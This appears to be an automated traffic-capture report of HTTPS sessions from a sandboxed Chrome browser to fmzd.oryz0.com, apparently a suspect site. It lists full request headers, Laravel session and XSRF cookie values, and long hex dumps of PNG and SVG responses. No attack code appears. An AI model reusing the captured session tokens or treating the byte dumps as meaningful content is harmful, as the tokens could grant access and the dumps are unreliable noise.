2024-05-23 08:31:37 UTC	1369	IN	Data Raw: cd e3 05 a3 9b b7 23 b8 4e e9 ab f8 89 6c 5b bb 7c 68 d2 ba 03 4a 97 f3 96 53 e0 e1 dd db d8 b7 7d 13 e2 3f c4 a1 aa 5f 1d d4 6f d2 12 79 f2 e4 4c 94 fa f2 61 c2 87 f7 94 e0 2f 9f 3b 25 a7 42 ed 6a ae e8 d5 a1 1c 7c cb 4b d6 1f 28 53 4c 5d 46 69 8c 33 23 7a 65 90 66 75 0c 0d 01 46 f4 86 e6 31 e1 e9 ab f1 e0 2a 3c 93 34 d3 28 b8 43 07 2e e2 f6 6d 2a 64 f6 9c b9 68 da a4 31 2f 18 ed 3b 70 80 1b 3d 72 24 95 6b 97 af 00 06 8f 9e 00 33 33 c9 82 34 52 c8 ed ee fd db ff c3 bd 88 9b 70 72 71 45 ab 8e dd e8 bb 50 cb 95 f3 a7 41 56 d4 7f 88 93 64 0d 24 85 2c b6 1b da cb 97 92 bc aa e5 ab 6d 67 58 d9 b8 6a 84 35 23 7a 55 51 67 f5 0d 01 01 46 f4 86 e0 25 61 eb a8 d1 c0 2a 6c d3 54 d7 ee ec f9 f3 5c ff be 7d 69 43 37 37 37 1c 3c 78 90 37 7c d6 ac 5b c7 cd 9e 39 93 ca Data Ascii: #Nl[\|hJS}?_oyLa/;%Bj\|K(SL]Fi3#zefuF1<4(C.mdh1/;p=r$k334RprqEPAVd$,mgXj5#zUQgF%a*lT\}iC777<x7\|[9
2024-05-23 08:31:37 UTC	1369	IN	Data Raw: 56 96 b0 33 37 47 5e 33 73 e4 ce 65 02 8e 03 d2 38 0e 09 c9 c9 88 4f 4e 46 cc e7 cf bc f5 65 8c 82 18 d1 1b a3 d7 f9 b5 59 a3 81 95 5f 55 f4 23 ed c0 c1 43 dc c8 5f 46 d0 ce bd 7d 7c b0 71 c3 06 ad 60 22 7b eb be a8 47 09 3c 7d f4 10 ae 6e 45 d1 ac 5d e7 4c 89 71 48 32 1a 72 9b fe cb 97 cf 08 6c da 0a b5 ea 35 94 03 87 1c 1c 43 d2 e3 92 ef 34 c9 9a 77 eb fa 15 7a 9b 9e 6c ef cb 28 24 5d 2d 21 78 b2 a0 4e 95 72 e4 f4 53 fc 32 55 92 21 cf b7 9c 23 56 cf 6f a4 4a 73 a4 58 d5 86 45 be ea 1a 61 cf 88 5e 25 c8 d5 aa ec 69 67 0b ef 82 05 e1 95 2f 1f 4a d8 d9 c1 c3 ce 16 2e 56 56 c8 65 92 b5 eb 52 39 0e af 92 92 f0 28 21 01 0f e3 13 70 f7 fd 7b 84 c7 c6 e1 71 fa 09 8e 6a 29 61 64 8d 18 d1 1b 99 c3 b5 60 ae 46 03 ab 16 f4 d1 b9 c8 a1 c3 86 71 c7 8e 1e a5 fd 8e 18 Data Ascii: V37G^3se8ONFeY_U#C_F}\|q`"{G<}nE]LqH2rl5C4wzl($]-!xNrS2U!#VoJsXEa^%ig/J.VVeR9(!p{qj)ad`Fq
2024-05-23 08:31:37 UTC	1369	IN	Data Raw: f7 fd 07 fc 7b ef 1e b6 3d fe fe b8 49 3d 0b 0d bb 15 23 7a c3 f6 9f 10 b4 d7 78 70 15 82 11 aa ea 10 fd e6 2d 17 18 50 0f 64 d6 4b ca 96 ad db 50 b6 8c 97 56 b1 b8 7e 23 9c eb 12 d2 99 f6 67 69 69 85 d1 53 e7 ca a9 1d 11 7e 8d 3e 8b 27 04 5e a3 4e 7d 04 34 6a 2e 97 03 9f 24 cc d9 b7 7d a3 e4 56 7f 31 4f 34 6b d7 29 53 0a 5d 52 87 6c bb 23 8b fa 64 4b 5e 1b 73 7c 4c 4c a6 1f 91 5b f5 3b ff 69 a9 2a 64 99 ea 93 85 77 13 e6 9e c3 f9 ab 92 0c 7a 65 4b 16 c4 da 3f 9b c0 2c 77 2e 95 64 a7 99 97 82 b9 7d 4b 5e b0 67 44 af 12 f4 74 cf fb 80 32 65 30 a0 6c 19 8d 57 d2 ab d6 b3 f2 b5 c9 b3 fb bf 23 ee 60 c5 dd 7b ca 37 12 59 4d 46 f4 22 73 a8 1e cc e1 65 80 d5 83 de 1a 75 f9 df a6 cd dc b4 a9 53 a8 8c 7a f5 02 f0 d7 5f 8b 74 82 43 fd c0 40 2e fa f5 6b da 6f df 61 Data Ascii: {=I=#zxp-PdKPV~#giiS~>'^N}4j.$}V1O4k)S]Rl#dK^s\|LL[;i*dwzeK?,w.d}K^gDt2e0lW#`{7YMF"seuSz_tC@.koa
2024-05-23 08:31:37 UTC	1369	IN	Data Raw: 26 b9 72 a1 6e 83 a6 a8 5e 3b 00 b9 72 c9 6f 4f 23 5b e5 c8 6a fa d8 b7 92 63 74 49 29 ea 56 08 bd 82 4b a0 55 90 a7 90 e1 ce 52 37 6d dc b2 cf e8 88 11 7d f6 e1 40 08 9e 10 3d df 25 39 25 05 4f a3 62 f0 fa 4d 1c 3e 26 7d 42 4a 4a 2a f2 da 58 c1 3e bf 2d 8a 16 76 42 3e 5b 1b be bb a4 f2 12 53 52 30 fa e2 65 ec 7f fe 5c 2b f2 85 24 94 11 bd 90 bc 61 98 ba e8 9c e8 f4 05 d3 83 c8 48 ae 75 4b c9 fe f1 bc 79 6d b1 6d c7 0e b8 ba 38 eb c5 fe b9 7f fc c1 ad 5a b9 92 ea 62 63 6b 87 fe 3f 8f a1 09 72 64 0b 49 76 43 9e c3 df 8f b8 29 f7 39 59 57 d0 ad 5b 77 38 98 1e 43 ae 54 c3 7a 4e c9 99 58 22 d9 ae 0b ac ac f2 6b 05 77 46 f4 59 5f 5d 2e d6 56 f8 d3 af 26 aa 38 f0 7b e7 e7 65 f4 5b 5c bb fd 00 29 a9 69 d9 5e d6 c5 5c 9d e0 5b b6 24 34 38 4a 21 5b d9 c7 a3 5e e1 Data Ascii: &rn^;roO#[jctI)VKUR7m}@=%9%ObM>&}BJJ*X>-vB>[SR0e\+$aHuKymm8Zbck?rdIvC)9YW[w8CTzNX"kwFY_].V&8{e[\)i^\[$48J![^
2024-05-23 08:31:37 UTC	1369	IN	Data Raw: f4 ec d5 1b bf 8c 18 2e 6a 7b b3 c3 33 e9 f3 67 ce 34 f9 1e 4c 93 1f 22 57 ca 53 5e 60 27 47 cc a6 99 97 40 9a 79 69 58 5b d9 09 02 57 46 f4 df 5d 5b b5 50 21 6c 69 50 9f 17 5f ff 28 e4 c0 c9 4b f8 f4 e5 fb 09 88 ca 76 e2 5f a5 3c 1c 0b 66 7f b6 82 b2 72 b2 aa 47 96 0c 04 ed 3f 80 07 1f c4 97 ff 9e 11 bd 26 91 c1 da 12 04 04 31 40 6b c3 15 09 89 49 5c ed 5a 7e 48 49 91 64 cd 5a b7 7e 03 7c 2b fa 88 d6 5e 65 31 fc f4 29 9e cb 95 f2 82 66 d5 33 49 7b 83 5c a9 af 15 37 35 31 05 97 2b 3f be e5 76 c2 b7 dc ce f8 96 bb 08 ac ac ed 05 87 25 23 fa ef ae 0c f6 28 8e d9 d5 ab 29 f6 ad 1a 35 ce 85 45 e0 f5 1b d5 b7 73 b6 ac 5f 13 66 66 b9 d5 e8 51 b9 26 7d 4f 9d 41 e8 cb 97 ca 55 36 a0 5a 8c e8 0d c8 59 02 55 55 70 83 35 5f 38 6d dd be 9d 9b 34 61 02 15 e7 e7 57 0b Data Ascii: .j{3g4L"WS^`'G@yiX[WF][P!liP_(Kv_<frG?&1@kI\Z~HIdZ~\|+^e1)f3I{\751+?v%#()5Es_ffQ&}OAU6ZYUUp5_8m4aW
2024-05-23 08:31:38 UTC	1369	IN	Data Raw: 6e c5 24 7b 74 93 93 bf e2 f1 83 7b 08 bb 7c 1e 0f ee dc 92 d6 f3 f6 f1 c1 46 b6 c5 4e 1c d1 aa c0 0a 46 f4 f2 00 cd aa 5e 15 1d 3c 54 df c3 be f7 f8 05 de 9e c7 ab 12 78 7e be 65 e1 5c a8 a0 2a 4d a4 75 ff bd 77 1f 53 af 85 a9 d5 56 e8 8d 18 d1 0b dd 43 c2 d7 cf 20 88 be 73 e7 10 2e 3c 5c 92 c3 da 2e 5f 7e b4 e9 dc 03 ee c5 b3 5f 51 7c ed e2 59 ec dd b6 51 8a 7e a7 ce 21 f8 75 fc 38 83 b0 55 f8 21 23 5c 0d 19 d1 cb fb 46 9d 13 ec 94 d9 1b af ad 08 28 e3 e9 0e f2 52 a7 90 8c 78 24 33 9e 18 0b 23 7a 31 7a 55 b7 36 09 9e fc 36 6d d9 c2 4d 9d 3c 99 a2 62 6a 6a 8a 3e 43 46 c2 d9 d5 4d 21 4a 61 97 ce 61 cf d6 0d d2 7a 5b b6 6e 43 d9 32 5e 82 b7 57 a1 61 ac 42 b6 08 30 a2 97 87 c6 3d af 0d 36 05 d6 87 b3 95 f2 e9 67 95 c9 76 a7 ad 10 54 37 b9 4e 64 7c 02 3a 1e Data Ascii: n${t{\|FNF^<Tx~e\*MuwSVC s.<\._~_Q\|YQ~!u8U!#\F(Rx$3#z1zU66mM<bjj>CFM!Jaaz[nC2^WaB0=6gvT7Nd\|:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	49808	104.21.52.56	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:37 UTC	1475	OUT	GET /stngs7CSgQFKxZNNR0YNEgHCMncf0xkMwmn6oWjReIJLD3PlEosS75Ba75nXuef257 HTTP/1.1 Host: fmzd.oryz0.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://fmzd.oryz0.com/9921882535976616575172665JGHCTZWMGWUIDZD?VFTGJUDGCPOGHXCCHYOOJK6107405097496668290428471YSPWWGTZJEAPZZXMJKZGITAHV Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlI0eVdROStza0twa3h3SnlaZWhoZ1E9PSIsInZhbHVlIjoiVWg3bHBKQUc5UXRHVUJ4bEJnMVFmY0dkcHA2NVBwVW5aRlp0d0pDUkpQWmpKMlBDWVNVNWhhckZKQ2VlcUlzclhHTnFXVkpYa1RSdFcxZmJ1UlhuS2tqUkE2WnFRUEEwUUh3SHhMZmZROHNFc0lsVjM0Qm9IMFRLcEFyRHJBQzAiLCJtYWMiOiJiZmJkOGE2N2M3MDM5YjNjM2ZkMmUwZTA5OWJjNmE4NjgwOGE0YjQ5YzEyMjAyODNiZjhjNTlkNGVkMGM1MTkzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkgzNmpUYUx3RytxT1dTS2pXMlQydkE9PSIsInZhbHVlIjoiL25oS2RDeERMVkJuY2RjY0VSU0FpMTZqcS9MdEtYZFZ4RE0vNVR4ZkJWTHRqT2lyVSt1SW1na3YxMkFYUGtMSk45bnhSYTVSc3ZSQnJ5dEdlQk9NSVl1UGhVeDVoaXkwRk5CR254Z1dBODdyR1lrVEwxYkFkeTVPemhNL1Z6M28iLCJtYWMiOiIzNmYxZGMwMTdjZjM0NGMzNjg5ZGE5NzRkZTIwNTA2NmRjNzg0ZmVjMDZmYjY0Mzk4NjU0MWZkYWEyMmMyYzQyIiwidGFnIjoiIn0%3D
2024-05-23 08:31:38 UTC	662	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 08:31:38 GMT Content-Type: image/png Content-Length: 70712 Connection: close Content-Disposition: inline; filename="stngs7CSgQFKxZNNR0YNEgHCMncf0xkMwmn6oWjReIJLD3PlEosS75Ba75nXuef257" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=RZeVgWpHhB2fLuQj8xZ1Rqht68O3vP1Ah%2B%2FKftr%2BifYQ9G68VwXusBYgEhuMwYBcPYfEMhHIgyG%2Fn84e1vJwL9XeFIgXmkb7GVkwm6AAB83SqP8KhcdVW6OLECJOrw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8883b0d49aca8ce2-EWR
2024-05-23 08:31:38 UTC	707	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 09 8e 00 00 03 83 08 06 00 00 00 11 c6 07 ce 00 00 20 00 49 44 41 54 78 01 ec dd cf 71 e3 c6 b6 07 e0 09 c1 21 38 04 6f 6e 95 97 13 c2 ac df 7b 0b 87 a0 12 34 7b ef ef 7b 55 0a 41 21 78 e7 ed 84 a0 10 74 33 50 06 7e d5 53 38 36 0d 13 10 4e 13 7f 1a e0 37 55 53 4d 89 0d 10 f8 70 9a 22 1b 3f 82 9f 3e f9 47 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 Data Ascii: PNGIHDR IDATxq!8on{4{{UA!xt3P~S86N7USMp"?>G @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-05-23 08:31:38 UTC	1369	IN	Data Raw: 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-05-23 08:31:38 UTC	1369	IN	Data Raw: 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-05-23 08:31:38 UTC	1369	IN	Data Raw: 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-05-23 08:31:38 UTC	1369	IN	Data Raw: 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-05-23 08:31:38 UTC	1369	IN	Data Raw: 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-05-23 08:31:38 UTC	1369	IN	Data Raw: 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-05-23 08:31:38 UTC	1369	IN	Data Raw: 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-05-23 08:31:38 UTC	1369	IN	Data Raw: 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @
2024-05-23 08:31:38 UTC	1369	IN	Data Raw: 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 00 01 02 04 08 10 20 40 80 Data Ascii: @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ @

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	49812	172.67.195.241	443	4548	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 08:31:37 UTC	1128	OUT	GET /klES0oQxnTwlNEPXlpWhEGCgQuaNvEYKtWepyzlTMJnMqfQIQ17GyYl87Kpzxg56163 HTTP/1.1 Host: fmzd.oryz0.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XSRF-TOKEN=eyJpdiI6IlI0eVdROStza0twa3h3SnlaZWhoZ1E9PSIsInZhbHVlIjoiVWg3bHBKQUc5UXRHVUJ4bEJnMVFmY0dkcHA2NVBwVW5aRlp0d0pDUkpQWmpKMlBDWVNVNWhhckZKQ2VlcUlzclhHTnFXVkpYa1RSdFcxZmJ1UlhuS2tqUkE2WnFRUEEwUUh3SHhMZmZROHNFc0lsVjM0Qm9IMFRLcEFyRHJBQzAiLCJtYWMiOiJiZmJkOGE2N2M3MDM5YjNjM2ZkMmUwZTA5OWJjNmE4NjgwOGE0YjQ5YzEyMjAyODNiZjhjNTlkNGVkMGM1MTkzIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkgzNmpUYUx3RytxT1dTS2pXMlQydkE9PSIsInZhbHVlIjoiL25oS2RDeERMVkJuY2RjY0VSU0FpMTZqcS9MdEtYZFZ4RE0vNVR4ZkJWTHRqT2lyVSt1SW1na3YxMkFYUGtMSk45bnhSYTVSc3ZSQnJ5dEdlQk9NSVl1UGhVeDVoaXkwRk5CR254Z1dBODdyR1lrVEwxYkFkeTVPemhNL1Z6M28iLCJtYWMiOiIzNmYxZGMwMTdjZjM0NGMzNjg5ZGE5NzRkZTIwNTA2NmRjNzg0ZmVjMDZmYjY0Mzk4NjU0MWZkYWEyMmMyYzQyIiwidGFnIjoiIn0%3D
2024-05-23 08:31:38 UTC	678	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 08:31:38 GMT Content-Type: image/svg+xml Transfer-Encoding: chunked Connection: close Content-Disposition: inline; filename="klES0oQxnTwlNEPXlpWhEGCgQuaNvEYKtWepyzlTMJnMqfQIQ17GyYl87Kpzxg56163" CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=sfcIrd8iXMES1LeoiMhi0C6y3%2BV4BjQYyJ%2FXp%2FDg%2FjT6WLOAYw%2BAbGDcI%2FA%2Frti1N4Z3pZID4in5GWWxZgIL0RVGFskHobuQLbORRIWKky7cV8uursHDz5VryGGueg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 Server: cloudflare CF-RAY: 8883b0d5c85a7288-EWR
2024-05-23 08:31:38 UTC	691	IN	Data Raw: 31 63 64 65 0d 0a 3c 73 76 67 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 3e 0d 0a 3c 6d 61 73 6b 20 69 64 3d 22 30 37 62 32 36 30 33 34 2d 35 36 61 33 2d 34 39 64 32 2d 38 66 32 36 2d 63 37 62 38 34 65 62 34 65 65 64 34 22 20 66 69 6c 6c 3d 22 23 66 66 66 66 66 66 22 3e 0d 0a 3c 70 61 74 68 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 63 6c 69 70 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 20 64 3d 22 4d 32 33 2e 39 37 36 32 20 30 43 31 36 2e 38 32 34 34 20 30 20 31 30 2e 39 37 30 37 20 35 2e 32 34 33 32 35 20 31 Data Ascii: 1cde<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg"><mask id="07b26034-56a3-49d2-8f26-c7b84eb4eed4" fill="#ffffff"><path fill-rule="evenodd" clip-rule="evenodd" d="M23.9762 0C16.8244 0 10.9707 5.24325 1
